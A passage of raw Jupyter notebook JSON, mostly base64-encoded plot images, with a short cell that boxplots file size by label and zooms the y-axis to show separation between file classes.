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\nRK5CYII=\n", + "text": [ + "" + ] + } + ], + "prompt_number": 129 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Let's zoom in. We can see some separation between the files here." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot(column='size', by='label')\n", + "plt.ylabel('File Size')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')\n", + "plt.ylim(0, 15000)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 130, + "text": [ + "(0, 15000)" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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